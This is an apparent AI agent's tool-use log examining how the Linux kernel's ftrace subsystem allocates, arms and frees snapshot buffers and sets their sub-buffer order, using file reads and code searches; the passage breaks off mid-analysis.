kernel/trace/trace_snapshot.c-215-
kernel/trace/trace_snapshot.c:216: ret = tracing_alloc_snapshot_instance(tr);
kernel/trace/trace_snapshot.c-217- if (ret) {
]
|
| 94/4 |
2026/08/12 02:33 |
llm |
codeexpert |
0m
Model:
Tokens:
input: 8434
output: 37
thoughts: 44
Thoughts: **My Thought Process**
Okay, so I'm diving into the kernel's tracing infrastructure, specifically focusing on `trace_snapshot.c`. My goal right now is to understand the functionality of `tracing_alloc_snapshot_instance`, which I believe is around line 162. To do this, I'm going to employ a common debugging and exploration technique: `read-file`. This means I'll effectively be "reading" the source code, line by line, to trace the execution path and logic within that function. By examining the code at and around that specific line number, I'm hoping to gain a clear picture of how a snapshot instance is allocated, what resources it consumes, and what its responsibilities are within the tracing subsystem.
|
| 95/4 |
2026/08/12 02:33 |
tool |
read-file |
0m
Args: map[File:kernel/trace/trace_snapshot.c FirstLine:135 LineCount:70]
Results: map[Contents: 135:
136: /* resize @tr's buffer to the size of @size_tr's entries */
137: int resize_buffer_duplicate_size(struct array_buffer *trace_buf,
138: struct array_buffer *size_buf, int cpu_id)
139: {
140: int cpu, ret = 0;
141:
142: if (cpu_id == RING_BUFFER_ALL_CPUS) {
143: for_each_tracing_cpu(cpu) {
144: ret = ring_buffer_resize(trace_buf->buffer,
145: per_cpu_ptr(size_buf->data, cpu)->entries, cpu);
146: if (ret < 0)
147: break;
148: per_cpu_ptr(trace_buf->data, cpu)->entries =
149: per_cpu_ptr(size_buf->data, cpu)->entries;
150: }
151: } else {
152: ret = ring_buffer_resize(trace_buf->buffer,
153: per_cpu_ptr(size_buf->data, cpu_id)->entries, cpu_id);
154: if (ret == 0)
155: per_cpu_ptr(trace_buf->data, cpu_id)->entries =
156: per_cpu_ptr(size_buf->data, cpu_id)->entries;
157: }
158:
159: return ret;
160: }
161:
162: int tracing_alloc_snapshot_instance(struct trace_array *tr)
163: {
164: int order;
165: int ret;
166:
167: if (!tr->allocated_snapshot) {
168:
169: /* Make the snapshot buffer have the same order as main buffer */
170: order = ring_buffer_subbuf_order_get(tr->array_buffer.buffer);
171: ret = ring_buffer_subbuf_order_set(tr->snapshot_buffer.buffer, order);
172: if (ret < 0)
173: return ret;
174:
175: /* allocate spare buffer */
176: ret = resize_buffer_duplicate_size(&tr->snapshot_buffer,
177: &tr->array_buffer, RING_BUFFER_ALL_CPUS);
178: if (ret < 0)
179: return ret;
180:
181: tr->allocated_snapshot = true;
182: }
183:
184: return 0;
185: }
186:
187: void free_snapshot(struct trace_array *tr)
188: {
189: /*
190: * We don't free the ring buffer. instead, resize it because
191: * The max_tr ring buffer has some state (e.g. ring->clock) and
192: * we want preserve it.
193: */
194: ring_buffer_subbuf_order_set(tr->snapshot_buffer.buffer, 0);
195: ring_buffer_resize(tr->snapshot_buffer.buffer, 1, RING_BUFFER_ALL_CPUS);
196: trace_set_buffer_entries(&tr->snapshot_buffer, 1);
197: tracing_reset_online_cpus(&tr->snapshot_buffer);
198: tr->allocated_snapshot = false;
199: }
200:
201: int tracing_arm_snapshot_locked(struct trace_array *tr)
202: {
203: int ret;
204:
]
|
| 96/4 |
2026/08/12 02:33 |
llm |
codeexpert |
0m
Model:
Tokens:
input: 9576
output: 19
thoughts: 180
Thoughts: **My Thought Process Regarding Snapshot Buffer Subbuf Order Management**
This is extremely interesting! I've been examining the mechanisms for managing snapshot buffers within the tracing infrastructure, specifically focusing on how their `subbuf_order` is handled.
My initial observation points to two key functions:
1. `tracing_alloc_snapshot_instance(struct trace_array *tr)`: When a snapshot buffer is allocated, this function plays a crucial role. It ensures that the `subbuf_order` of the newly allocated snapshot buffer is synchronized to match the `subbuf_order` of the main trace buffer. This suggests a desire for consistent buffering characteristics between the main trace and its snapshots.
2. `free_snapshot(struct trace_array *tr)`: Conversely, when a snapshot buffer is being deallocated, this function comes into play. Its action is to reset the `subbuf_order` of the snapshot buffer back to 0. This implies a cleanup or a return to a default state after the snapshot is no longer needed.
However, this raises a pertinent question in my mind: Are there *other* places where this snapshot buffer `subbuf_order` might be influenced or modified? My current understanding is based on these two explicit functions, but I need to be thorough.
To address this, my next step is to broaden my search. I need to identify all call sites not just for `tracing_alloc_snapshot` (which might be a higher-level interface), but specifically for `tracing_alloc_snapshot_instance` to ensure I'm looking at the direct allocation logic. I also need to consider if `free_snapshot` is the *only* deallocation path or if there are other cleanup mechanisms.
To achieve this comprehensive understanding, I've decided to leverage `grepper` (or a similar code searching tool) to perform a full scan for all references to `tracing_alloc_snapshot` and `tracing_alloc_snapshot_instance` across the entire codebase. This will allow me to exhaustively identify every instance where these snapshot allocation functions are invoked, and consequently, where the `subbuf_order` management logic is applied. By doing so, I aim to confirm if the behavior I've observed is the complete picture or if there are other, perhaps less obvious, scenarios affecting snapshot buffer subbuf ordering.
|
| 97/4 |
2026/08/12 02:33 |
tool |
grepper |
0m
Args: map[Expression:tracing_alloc_snapshot]
Results: map[Output:kernel/trace/trace.c=876=EXPORT_SYMBOL_GPL(tracing_snapshot);
--
kernel/trace/trace.c-878-/**
kernel/trace/trace.c:879: * tracing_alloc_snapshot - allocate snapshot buffer.
kernel/trace/trace.c-880- *
--
kernel/trace/trace.c-887- */
kernel/trace/trace.c:888:int tracing_alloc_snapshot(void)
kernel/trace/trace.c-889-{
--
kernel/trace/trace.c-892-
kernel/trace/trace.c:893: ret = tracing_alloc_snapshot_instance(tr);
kernel/trace/trace.c-894- WARN_ON(ret < 0);
--
kernel/trace/trace.h=2302=int trace_allocate_snapshot(struct trace_array *tr, int size);
kernel/trace/trace.h-2303-
kernel/trace/trace.h:2304:int tracing_alloc_snapshot(void);
kernel/trace/trace.h-2305-void tracing_snapshot_cond(struct trace_array *tr, void *cond_data);
--
kernel/trace/trace.h=2309=void tracing_snapshot_instance(struct trace_array *tr);
kernel/trace/trace.h:2310:int tracing_alloc_snapshot_instance(struct trace_array *tr);
kernel/trace/trace.h-2311-int tracing_arm_snapshot_locked(struct trace_array *tr);
--
kernel/trace/trace.h=2328=static inline void tracing_snapshot_instance(struct trace_array *tr) { }
kernel/trace/trace.h:2329:static inline int tracing_alloc_snapshot_instance(struct trace_array *tr)
kernel/trace/trace.h-2330-{
--
kernel/trace/trace_boot.c=593=trace_boot_enable_tracer(struct trace_array *tr, struct xbc_node *node)
--
kernel/trace/trace_boot.c-606- if (xbc_node_find_value(node, "alloc_snapshot", NULL)) {
kernel/trace/trace_boot.c:607: if (tracing_alloc_snapshot_instance(tr) < 0)
kernel/trace/trace_boot.c-608- pr_err("Failed to allocate snapshot buffer\n");
--
kernel/trace/trace_snapshot.c=137=int resize_buffer_duplicate_size(struct array_buffer *trace_buf,
--
kernel/trace/trace_snapshot.c-161-
kernel/trace/trace_snapshot.c:162:int tracing_alloc_snapshot_instance(struct trace_array *tr)
kernel/trace/trace_snapshot.c-163-{
--
kernel/trace/trace_snapshot.c=201=int tracing_arm_snapshot_locked(struct trace_array *tr)
--
kernel/trace/trace_snapshot.c-215-
kernel/trace/trace_snapshot.c:216: ret = tracing_alloc_snapshot_instance(tr);
kernel/trace/trace_snapshot.c-217- if (ret) {
--
kernel/trace/trace_snapshot.c=251=void tracing_snapshot_alloc(void)
--
kernel/trace/trace_snapshot.c-254-
kernel/trace/trace_snapshot.c:255: ret = tracing_alloc_snapshot();
kernel/trace/trace_snapshot.c-256- if (ret < 0)
]
|
| 98/4 |
2026/08/12 02:33 |
llm |
codeexpert |
0m
Model:
Tokens:
input: 10668
output: 17
thoughts: 37
Thoughts: **My Thought Process on Tracing Allocations and Snapshots**
My immediate inclination is to understand the lifecycle of these "snapshot instances." To do that, I need to identify precisely where they are being allocated and, crucially, where they are being freed. My first step is to pinpoint all the locations in the codebase that invoke `tracing_alloc_snapshot_instance`. This will give me a clear picture of all the points where a new snapshot instance is brought into existence.
Concurrently, I need to identify how these instances are being cleaned up. Therefore, I'll be performing a search for `free_snapshot`. My tool of choice for this is `grepper`, as it's efficient for quickly scanning through large codebases and locating specific function calls or patterns. By understanding both the allocation and deallocation points, I can begin to map out the complete flow of these snapshot instances, which is essential for any debugging or performance analysis related to memory management in this context.
|
| 99/4 |
2026/08/12 02:33 |
tool |
grepper |
0m
Args: map[Expression:free_snapshot]
Results: map[Output:fs/ceph/subvolume_metrics.c=215=int ceph_subvolume_metrics_snapshot(struct ceph_subvolume_metrics_tracker *tracker,
--
fs/ceph/subvolume_metrics.c-311-
fs/ceph/subvolume_metrics.c:312:void ceph_subvolume_metrics_free_snapshot(struct ceph_subvol_metric_snapshot *snapshot)
fs/ceph/subvolume_metrics.c-313-{
--
fs/ceph/subvolume_metrics.h=76=int ceph_subvolume_metrics_snapshot(struct ceph_subvolume_metrics_tracker *tracker,
--
fs/ceph/subvolume_metrics.h-78- u32 *nr, bool consume);
fs/ceph/subvolume_metrics.h:79:void ceph_subvolume_metrics_free_snapshot(struct ceph_subvol_metric_snapshot *snapshot);
fs/ceph/subvolume_metrics.h-80-void ceph_subvolume_metrics_dump(struct ceph_subvolume_metrics_tracker *tracker,
--
kernel/trace/trace.c=5002=int tracing_set_tracer(struct trace_array *tr, const char *buf)
--
kernel/trace/trace.c-5079- synchronize_rcu();
kernel/trace/trace.c:5080: free_snapshot(tr);
kernel/trace/trace.c-5081- tracing_disarm_snapshot(tr);
--
kernel/trace/trace.h=2313=void tracing_disarm_snapshot(struct trace_array *tr);
kernel/trace/trace.h:2314:void free_snapshot(struct trace_array *tr);
kernel/trace/trace.h-2315-void print_snapshot_help(struct seq_file *m, struct trace_iterator *iter);
--
kernel/trace/trace.h=2335=static inline void tracing_disarm_snapshot(struct trace_array *tr) { }
kernel/trace/trace.h:2336:static inline void free_snapshot(struct trace_array *tr) {}
kernel/trace/trace.h-2337-static inline void tracing_snapshot_cond(struct trace_array *tr, void *cond_data)
--
kernel/trace/trace_snapshot.c=162=int tracing_alloc_snapshot_instance(struct trace_array *tr)
--
kernel/trace/trace_snapshot.c-186-
kernel/trace/trace_snapshot.c:187:void free_snapshot(struct trace_array *tr)
kernel/trace/trace_snapshot.c-188-{
--
kernel/trace/trace_snapshot.c=634=tracing_snapshot_write(struct file *filp, const char __user *ubuf, size_t cnt,
--
kernel/trace/trace_snapshot.c-669- if (tr->allocated_snapshot)
kernel/trace/trace_snapshot.c:670: free_snapshot(tr);
kernel/trace/trace_snapshot.c-671- break;
--
tools/perf/arch/x86/util/intel-bts.c=283=static int intel_bts_alloc_snapshot_refs(struct intel_bts_recording *btsr,
--
tools/perf/arch/x86/util/intel-bts.c-307-
tools/perf/arch/x86/util/intel-bts.c:308:static void intel_bts_free_snapshot_refs(struct intel_bts_recording *btsr)
tools/perf/arch/x86/util/intel-bts.c-309-{
--
tools/perf/arch/x86/util/intel-bts.c=317=static void intel_bts_recording_free(struct auxtrace_record *itr)
--
tools/perf/arch/x86/util/intel-bts.c-321-
tools/perf/arch/x86/util/intel-bts.c:322: intel_bts_free_snapshot_refs(btsr);
tools/perf/arch/x86/util/intel-bts.c-323- free(btsr);
--
tools/perf/arch/x86/util/intel-pt.c=925=static int intel_pt_alloc_snapshot_refs(struct intel_pt_recording *ptr, int idx)
--
tools/perf/arch/x86/util/intel-pt.c-948-
tools/perf/arch/x86/util/intel-pt.c:949:static void intel_pt_free_snapshot_refs(struct intel_pt_recording *ptr)
tools/perf/arch/x86/util/intel-pt.c-950-{
--
tools/perf/arch/x86/util/intel-pt.c=958=static void intel_pt_recording_free(struct auxtrace_record *itr)
--
tools/perf/arch/x86/util/intel-pt.c-962-
tools/perf/arch/x86/util/intel-pt.c:963: intel_pt_free_snapshot_refs(ptr);
tools/perf/arch/x86/util/intel-pt.c-964- free(ptr);
]
|
| 100/4 |
2026/08/12 02:33 |
llm |
codeexpert |
0m
Model:
Tokens:
input: 12031
output: 19
thoughts: 92
Thoughts: **My Thought Process on Tracing Snapshot Allocation and Freeing**
My primary goal here is to understand the lifecycle of tracing snapshots, specifically how they are allocated and deallocated within the kernel. To achieve this, I've identified two key functions: `tracing_alloc_snapshot_instance` and `free_snapshot`. My immediate next step is to pinpoint where `tracing_alloc_snapshot_instance` is invoked.
To do this, I'll begin by examining its direct caller, which I've identified as `tracing_alloc_snapshot`. This function resides within the `kernel/trace/trace.c` file. My strategy is to then investigate what, in turn, calls `tracing_alloc_snapshot`. For efficient searching, I'll employ `grepper` to locate all references to `tracing_alloc_snapshot` within the codebase. This will give me a clear picture of the various scenarios and entry points that lead to the allocation of a tracing snapshot instance.
|
| 101/4 |
2026/08/12 02:33 |
tool |
grepper |
0m
Args: map[Expression:tracing_alloc_snapshot]
Results: map[Output:kernel/trace/trace.c=876=EXPORT_SYMBOL_GPL(tracing_snapshot);
--
kernel/trace/trace.c-878-/**
kernel/trace/trace.c:879: * tracing_alloc_snapshot - allocate snapshot buffer.
kernel/trace/trace.c-880- *
--
kernel/trace/trace.c-887- */
kernel/trace/trace.c:888:int tracing_alloc_snapshot(void)
kernel/trace/trace.c-889-{
--
kernel/trace/trace.c-892-
kernel/trace/trace.c:893: ret = tracing_alloc_snapshot_instance(tr);
kernel/trace/trace.c-894- WARN_ON(ret < 0);
--
kernel/trace/trace.h=2302=int trace_allocate_snapshot(struct trace_array *tr, int size);
kernel/trace/trace.h-2303-
kernel/trace/trace.h:2304:int tracing_alloc_snapshot(void);
kernel/trace/trace.h-2305-void tracing_snapshot_cond(struct trace_array *tr, void *cond_data);
--
kernel/trace/trace.h=2309=void tracing_snapshot_instance(struct trace_array *tr);
kernel/trace/trace.h:2310:int tracing_alloc_snapshot_instance(struct trace_array *tr);
kernel/trace/trace.h-2311-int tracing_arm_snapshot_locked(struct trace_array *tr);
--
kernel/trace/trace.h=2328=static inline void tracing_snapshot_instance(struct trace_array *tr) { }
kernel/trace/trace.h:2329:static inline int tracing_alloc_snapshot_instance(struct trace_array *tr)
kernel/trace/trace.h-2330-{
--
kernel/trace/trace_boot.c=593=trace_boot_enable_tracer(struct trace_array *tr, struct xbc_node *node)
--
kernel/trace/trace_boot.c-606- if (xbc_node_find_value(node, "alloc_snapshot", NULL)) {
kernel/trace/trace_boot.c:607: if (tracing_alloc_snapshot_instance(tr) < 0)
kernel/trace/trace_boot.c-608- pr_err("Failed to allocate snapshot buffer\n");
--
kernel/trace/trace_snapshot.c=137=int resize_buffer_duplicate_size(struct array_buffer *trace_buf,
--
kernel/trace/trace_snapshot.c-161-
kernel/trace/trace_snapshot.c:162:int tracing_alloc_snapshot_instance(struct trace_array *tr)
kernel/trace/trace_snapshot.c-163-{
--
kernel/trace/trace_snapshot.c=201=int tracing_arm_snapshot_locked(struct trace_array *tr)
--
kernel/trace/trace_snapshot.c-215-
kernel/trace/trace_snapshot.c:216: ret = tracing_alloc_snapshot_instance(tr);
kernel/trace/trace_snapshot.c-217- if (ret) {
--
kernel/trace/trace_snapshot.c=251=void tracing_snapshot_alloc(void)
--
kernel/trace/trace_snapshot.c-254-
kernel/trace/trace_snapshot.c:255: ret = tracing_alloc_snapshot();
kernel/trace/trace_snapshot.c-256- if (ret < 0)
]
|
| 102/4 |
2026/08/12 02:33 |
llm |
codeexpert |
0m
Model:
Tokens:
input: 13035
output: 19
thoughts: 34
Thoughts: **My Thought Process on `tracing_snapshot_alloc`**
Alright, so I've just encountered a mention of `tracing_snapshot_alloc`, and my immediate impulse is to understand its context. Before I can make any informed decisions or even begin to speculate on its purpose or implications, I need to know *where* this function is being used. What parts of the codebase are invoking it? What scenarios trigger its execution? It's like hearing a new term in a technical discussion – I can't grasp its meaning without seeing it in action, within its operational environment.
To get a grip on this, the most direct and efficient approach is to trace its callers. I need to identify every single location in the codebase that initiates a call to `tracing_snapshot_alloc`. This isn't just about finding a name; it's about mapping dependencies and understanding the flow of control.
My go-to tool for this kind of investigation is `grepper`. It's my trusty sidekick for text-based searching, and in this instance, it's perfect for a precise and exhaustive search for references. I'll be issuing a command, essentially asking `grepper` to scan the relevant files and return every line that contains `tracing_snapshot_alloc`. This will give me a raw, unfiltered list of all the places where this function is brought into play. From there, I can begin to analyze the surrounding code, understand the parameters being passed, and infer the intent behind those calls. It's the first crucial step in deconstructing the functionality and significance of `tracing_snapshot_alloc` within this system.
|
| 103/4 |
2026/08/12 02:33 |
tool |
grepper |
0m
Args: map[Expression:tracing_snapshot_alloc]
Results: map[Output:Documentation/admin-guide/kernel-parameters.txt=95=Kernel parameters
--
Documentation/admin-guide/kernel-parameters.txt-420- and you need to use tracing_snapshot() on boot up, and
Documentation/admin-guide/kernel-parameters.txt:421: do not want to use tracing_snapshot_alloc() as it needs
Documentation/admin-guide/kernel-parameters.txt-422- to be done where GFP_KERNEL allocations are allowed.
--
include/linux/trace_printk.h=41=void tracing_snapshot(void);
include/linux/trace_printk.h:42:void tracing_snapshot_alloc(void);
include/linux/trace_printk.h-43-
--
include/linux/trace_printk.h=186=static inline void tracing_snapshot(void) { }
include/linux/trace_printk.h:187:static inline void tracing_snapshot_alloc(void) { }
include/linux/trace_printk.h-188-
--
kernel/trace/trace.c=853=EXPORT_SYMBOL_GPL(tracing_on);
--
kernel/trace/trace.c-863- * Note, make sure to allocate the snapshot with either
kernel/trace/trace.c:864: * a tracing_snapshot_alloc(), or by doing it manually
kernel/trace/trace.c-865- * with: echo 1 > /sys/kernel/tracing/snapshot
--
kernel/trace/trace.c=903=EXPORT_SYMBOL_GPL(tracing_snapshot);
kernel/trace/trace.c:904:void tracing_snapshot_alloc(void)
kernel/trace/trace.c-905-{
--
kernel/trace/trace.c-908-}
kernel/trace/trace.c:909:EXPORT_SYMBOL_GPL(tracing_snapshot_alloc);
kernel/trace/trace.c-910-#endif /* CONFIG_TRACER_SNAPSHOT */
--
kernel/trace/trace_snapshot.c=232=void tracing_disarm_snapshot(struct trace_array *tr)
--
kernel/trace/trace_snapshot.c-240-/**
kernel/trace/trace_snapshot.c:241: * tracing_snapshot_alloc - allocate and take a snapshot of the current buffer.
kernel/trace/trace_snapshot.c-242- *
--
kernel/trace/trace_snapshot.c-250- */
kernel/trace/trace_snapshot.c:251:void tracing_snapshot_alloc(void)
kernel/trace/trace_snapshot.c-252-{
--
kernel/trace/trace_snapshot.c-260-}
kernel/trace/trace_snapshot.c:261:EXPORT_SYMBOL_GPL(tracing_snapshot_alloc);
kernel/trace/trace_snapshot.c-262-
]
|
| 104/4 |
2026/08/12 02:33 |
llm |
codeexpert |
0m
Model:
Tokens:
input: 13778
output: 19
thoughts: 238
Thoughts: **My Thought Process Regarding Snapshot Buffer Allocation and Management in the Tracing Subsystem**
My initial focus lands on `tracing_snapshot_alloc`, recognizing it immediately as an exported API. This means it's designed for external callers, specifically drivers or other kernel components, to utilize for allocating snapshot buffers. My immediate inclination is to understand the lifecycle and usage patterns of these buffers, so I decide to investigate all the places where snapshot allocation and deallocation functions are invoked.
My investigation begins by looking at `tracing_alloc_snapshot_instance(struct trace_array *tr)`. I need to identify all the contexts in which this function is called to get a comprehensive view of how snapshot instances are created. I've identified the following call sites:
1. `tracing_alloc_snapshot(void)`: This is a direct caller. Importantly, I note that `tracing_alloc_snapshot()` itself is ultimately invoked by the exported `tracing_snapshot_alloc()` function that caught my attention initially. This confirms a direct path from the external API to the internal allocation mechanism.
2. `trace_boot_enable_tracer(struct trace_array *tr, struct xbc_node *node)`: This indicates that snapshot allocation can also occur during boot time. Specifically, it appears to be tied to the `alloc_snapshot` option being present in the boot configuration. This suggests a pre-defined setup for tracing that pre-allocates resources.
3. `tracing_arm_snapshot_locked(struct trace_array *tr)`: This call site is particularly interesting. It implies that snapshot buffers are allocated when a snapshot is "armed." I recognize that "arming" is a common pattern for latency tracers or other snapshot triggers, where a specific condition or event initiates the snapshotting process. To fully understand the scope of this, I need to explore all references to `tracing_arm_snapshot_locked` and its close relative, `tracing_arm_snapshot`. I'll employ a tool like `grepper` to perform a thorough search for all such references, ensuring I don't miss any critical usage scenarios for snapshot arming.
My next step, following this initial discovery, will be to similarly enumerate and analyze all call sites for `free_snapshot` to understand how these allocated buffers are deallocated. This two-pronged approach – understanding allocation and deallocation – is crucial for a complete picture of snapshot buffer management.
|
| 105/4 |
2026/08/12 02:33 |
tool |
grepper |
0m
Args: map[Expression:tracing_arm_snapshot]
Results: map[Output:kernel/trace/trace.c=5002=int tracing_set_tracer(struct trace_array *tr, const char *buf)
--
kernel/trace/trace.c-5084- if (!had_max_tr && tracer_uses_snapshot(trace)) {
kernel/trace/trace.c:5085: ret = tracing_arm_snapshot_locked(tr);
kernel/trace/trace.c-5086- if (ret)
--
kernel/trace/trace.h=2310=int tracing_alloc_snapshot_instance(struct trace_array *tr);
kernel/trace/trace.h:2311:int tracing_arm_snapshot_locked(struct trace_array *tr);
kernel/trace/trace.h:2312:int tracing_arm_snapshot(struct trace_array *tr);
kernel/trace/trace.h-2313-void tracing_disarm_snapshot(struct trace_array *tr);
--
kernel/trace/trace.h=2329=static inline int tracing_alloc_snapshot_instance(struct trace_array *tr)
--
kernel/trace/trace.h-2332-}
kernel/trace/trace.h:2333:static inline int tracing_arm_snapshot_locked(struct trace_array *tr) { return -EBUSY; }
kernel/trace/trace.h:2334:static inline int tracing_arm_snapshot(struct trace_array *tr) { return 0; }
kernel/trace/trace.h-2335-static inline void tracing_disarm_snapshot(struct trace_array *tr) { }
--
kernel/trace/trace_events_trigger.c=1540=register_snapshot_trigger(char *glob,
--
kernel/trace/trace_events_trigger.c-1543-{
kernel/trace/trace_events_trigger.c:1544: int ret = tracing_arm_snapshot(file->tr);
kernel/trace/trace_events_trigger.c-1545-
--
kernel/trace/trace_snapshot.c=187=void free_snapshot(struct trace_array *tr)
--
kernel/trace/trace_snapshot.c-200-
kernel/trace/trace_snapshot.c:201:int tracing_arm_snapshot_locked(struct trace_array *tr)
kernel/trace/trace_snapshot.c-202-{
--
kernel/trace/trace_snapshot.c-225-
kernel/trace/trace_snapshot.c:226:int tracing_arm_snapshot(struct trace_array *tr)
kernel/trace/trace_snapshot.c-227-{
kernel/trace/trace_snapshot.c-228- guard(mutex)(&trace_types_lock);
kernel/trace/trace_snapshot.c:229: return tracing_arm_snapshot_locked(tr);
kernel/trace/trace_snapshot.c-230-}
--
kernel/trace/trace_snapshot.c=276=int tracing_snapshot_cond_enable(struct trace_array *tr, void *cond_data,
--
kernel/trace/trace_snapshot.c-304-
kernel/trace/trace_snapshot.c:305: ret = tracing_arm_snapshot_locked(tr);
kernel/trace/trace_snapshot.c-306- if (ret)
--
kernel/trace/trace_snapshot.c=634=tracing_snapshot_write(struct file *filp, const char __user *ubuf, size_t cnt,
--
kernel/trace/trace_snapshot.c-681-
kernel/trace/trace_snapshot.c:682: ret = tracing_arm_snapshot_locked(tr);
kernel/trace/trace_snapshot.c-683- if (ret)
--
kernel/trace/trace_snapshot.c=931=ftrace_trace_snapshot_callback(struct trace_array *tr, struct ftrace_hash *hash,
--
kernel/trace/trace_snapshot.c-972- out_reg:
kernel/trace/trace_snapshot.c:973: ret = tracing_arm_snapshot(tr);
kernel/trace/trace_snapshot.c-974- if (ret < 0)
]
|
| 106/4 |
2026/08/12 02:33 |
llm |
codeexpert |
0m
Model:
Tokens:
input: 15069
output: 37
thoughts: 99
Thoughts: **My Thought Process Regarding Snapshot Tracing**
Ah, this is remarkably straightforward! My immediate instinct is to follow the execution flow. I see that when a `1` is written to the `snapshot` file within the trace directory, it initiates the `tracing_snapshot_write` function. My next step, naturally, is to delve into the implementation of `tracing_snapshot_write` itself, located in `kernel/trace/trace_snapshot.c`. I need to understand precisely *how* this writing operation to the `snapshot` file functions. I'll access this code using the `read-file` utility to get a clear, direct view of its mechanics. I anticipate this will illuminate the underlying process that follows the initial write operation, leading to the subsequent call to `tracing_arm_snapshot_locked(tr)`.
|
| 107/4 |
2026/08/12 02:34 |
tool |
read-file |
0m
Args: map[File:kernel/trace/trace_snapshot.c FirstLine:634 LineCount:60]
Results: map[Contents: 634: tracing_snapshot_write(struct file *filp, const char __user *ubuf, size_t cnt,
635: loff_t *ppos)
636: {
637: struct seq_file *m = filp->private_data;
638: struct trace_iterator *iter = m->private;
639: struct trace_array *tr = iter->tr;
640: unsigned long val;
641: int ret;
642:
643: ret = tracing_update_buffers(tr);
644: if (ret < 0)
645: return ret;
646:
647: ret = kstrtoul_from_user(ubuf, cnt, 10, &val);
648: if (ret)
649: return ret;
650:
651: guard(mutex)(&trace_types_lock);
652:
653: if (tracer_uses_snapshot(tr->current_trace))
654: return -EBUSY;
655:
656: local_irq_disable();
657: arch_spin_lock(&tr->max_lock);
658: if (tr->cond_snapshot)
659: ret = -EBUSY;
660: arch_spin_unlock(&tr->max_lock);
661: local_irq_enable();
662: if (ret)
663: return ret;
664:
665: switch (val) {
666: case 0:
667: if (iter->cpu_file != RING_BUFFER_ALL_CPUS)
668: return -EINVAL;
669: if (tr->allocated_snapshot)
670: free_snapshot(tr);
671: break;
672: case 1:
673: /* Only allow per-cpu swap if the ring buffer supports it */
674: #ifndef CONFIG_RING_BUFFER_ALLOW_SWAP
675: if (iter->cpu_file != RING_BUFFER_ALL_CPUS)
676: return -EINVAL;
677: #endif
678: if (tr->allocated_snapshot)
679: ret = resize_buffer_duplicate_size(&tr->snapshot_buffer,
680: &tr->array_buffer, iter->cpu_file);
681:
682: ret = tracing_arm_snapshot_locked(tr);
683: if (ret)
684: return ret;
685:
686: /* Now, we're going to swap */
687: if (iter->cpu_file == RING_BUFFER_ALL_CPUS) {
688: local_irq_disable();
689: update_max_tr(tr, current, smp_processor_id(), NULL);
690: local_irq_enable();
691: } else {
692: smp_call_function_single(iter->cpu_file, tracing_swap_cpu_buffer,
693: (void *)tr, 1);
]
|
| 108/4 |
2026/08/12 02:34 |
llm |
codeexpert |
0m
Model:
Tokens:
input: 16091
output: 36
thoughts: 123
Thoughts: **My Thought Process Unpacked**
Ah, I've just had a key realization! It appears that writing a `1` to the `snapshot` mechanism directly invokes the `tracing_arm_snapshot_locked(tr)` function. Conversely, writing a `0` to `snapshot` appears to trigger the `free_snapshot(tr)` function.
My immediate next thought is to explore the broader landscape of what else might be kicking off these particular functions, `tracing_arm_snapshot_locked` or `free_snapshot`. I want to understand the full context and any other potential entry points.
To do this, I'm going to pivot and examine the `tracing_set_tracer` function, which I suspect is also a critical piece of this puzzle. My plan is to dive into `kernel/trace/trace.c` for a closer look. Specifically, I'll be focusing my attention on the code around line 5080 within that file. I'll be using the `read-file` operation to access and scrutinize this section of the code.
|
| 109/4 |
2026/08/12 02:34 |
tool |
read-file |
0m
Args: map[File:kernel/trace/trace.c FirstLine:5060 LineCount:40]
Results: map[Contents:5060: tr->current_trace->enabled--;
5061:
5062: if (tr->current_trace->reset)
5063: tr->current_trace->reset(tr);
5064:
5065: had_max_tr = tracer_uses_snapshot(tr->current_trace);
5066:
5067: /* Current trace needs to be nop_trace before synchronize_rcu */
5068: tr->current_trace = &nop_trace;
5069: tr->current_trace_flags = nop_trace.flags;
5070:
5071: if (had_max_tr && !tracer_uses_snapshot(trace)) {
5072: /*
5073: * We need to make sure that the update_max_tr sees that
5074: * current_trace changed to nop_trace to keep it from
5075: * swapping the buffers after we resize it.
5076: * The update_max_tr is called from interrupts disabled
5077: * so a synchronized_sched() is sufficient.
5078: */
5079: synchronize_rcu();
5080: free_snapshot(tr);
5081: tracing_disarm_snapshot(tr);
5082: }
5083:
5084: if (!had_max_tr && tracer_uses_snapshot(trace)) {
5085: ret = tracing_arm_snapshot_locked(tr);
5086: if (ret)
5087: return ret;
5088: }
5089:
5090: tr->current_trace_flags = t->flags ? : t->tracer->flags;
5091:
5092: if (trace->init) {
5093: ret = tracer_init(trace, tr);
5094: if (ret) {
5095: if (tracer_uses_snapshot(trace))
5096: tracing_disarm_snapshot(tr);
5097: tr->current_trace_flags = nop_trace.flags;
5098: return ret;
5099: }
]
|
| 110/4 |
2026/08/12 02:34 |
llm |
codeexpert |
0m
Model:
Tokens:
input: 16829
output: 21
thoughts: 1420
Thoughts: **My Thought Process Regarding Ring Buffer Snapshot Allocation**
Okay, so I've been digging into how the tracing subsystem handles snapshots and buffer resizing, and it seems like there are a few key pathways that lead to the `ring_buffer_subbuf_order_set` function being called, which is crucial for managing the size of snapshot buffers.
Initially, I considered the obvious case: when I change the currently active tracer by writing to `current_tracer`. If the *new* tracer happens to use a snapshot mechanism (like `wakeup`, `wakeup_rt`, `wakeup_dl`, `irqsoff`, `preemptoff`, or `preemptirqsoff`), it triggers `tracing_arm_snapshot_locked(tr)`. Conversely, if the *old* tracer was using a snapshot but the new one doesn't, it should free up the snapshot buffer using `free_snapshot(tr)`. This makes sense – we only allocate and maintain snapshot buffers when they're actually needed.
Then, I wanted to be thorough and identify *all* the places `tracing_arm_snapshot` is called, because that function itself is a significant trigger for snapshot-related operations. My search pointed to:
* `register_snapshot_trigger` in `kernel/trace/trace_events_trigger.c`. This is what happens when I enable a snapshot event trigger, for example, by echoing `"snapshot"` to `events/.../trigger`.
* `ftrace_trace_snapshot_callback` in `kernel/trace/trace_snapshot.c`. This is invoked when I set up a snapshot function trigger, like echoing `'sys_clone:snapshot'` to `set_ftrace_filter`.
But I wasn't entirely satisfied. I felt there might be other, less direct, ways to end up calling `ring_buffer_subbuf_order_set`. This led me to investigate `ring_buffer_subbuf_order_set` directly. I noticed it's exported with `EXPORT_SYMBOL_GPL(ring_buffer_subbuf_order_set)`, which means other parts of the kernel can call it. My next step was to search the entire kernel source for *any* usage of this function.
I ran a `grepper` command to find all occurrences, and the output was quite revealing:
```
include/linux/ring_buffer.h:236:int ring_buffer_subbuf_order_set(struct trace_buffer *buffer, int order);
kernel/trace/ring_buffer.c:7314:int ring_buffer_subbuf_order_set(struct trace_buffer *buffer, int order)
kernel/trace/ring_buffer.c:7470:EXPORT_SYMBOL_GPL(ring_buffer_subbuf_order_set);
